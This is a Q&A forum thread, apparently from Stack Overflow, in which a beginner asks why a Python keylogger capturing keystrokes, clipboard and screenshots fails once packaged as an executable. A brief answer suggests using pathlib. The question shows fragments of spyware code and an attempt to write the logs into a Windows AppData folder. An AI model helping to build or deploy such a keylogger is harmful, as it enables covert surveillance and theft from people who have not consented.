-1

I am trying to make a keylogger, it works on my computer but when i turn it into an executable it gives me an error "Python failed to execute script keylogger" I think its a path problem because its static and every computer have a diffrent directory, i am a beginner i could use some help.

files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]
dir_path=r"C:/Users/messa/Desktop/Python keylogger/"

##This function to take a screenshot---------------

def takess():
im = ImageGrab.grab()
im.save(dir_path+ "/" + "screenshot.png")

## i have multiple functions tell me if this is not enough .

My solution idea: I tried to check for this path if it does not exist i'll create it, after creating the directory i want to create the files in this directory, but it gives me a permission error " PermissionError: [Errno 13] Permission denied:"

extend = "\\"
dir_path="C:\\Users\\Default\\AppData\\Local"
Path(dir_path).mkdir(parents=True, exist_ok=True)
files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]

for file in files:
    f= open(dir_path + extend + file, "w+")
    f.close()
martineau
  • 119,623
  • 25
  • 170
  • 301
Messaoud dhia
  • 151
  • 1
  • 1
  • 8

1 Answers1

0

You can use pathlib module to get a stored location

import pathlib

dir_path = pathlib.Path().absolute()

VP Helper
  • 1
  • 2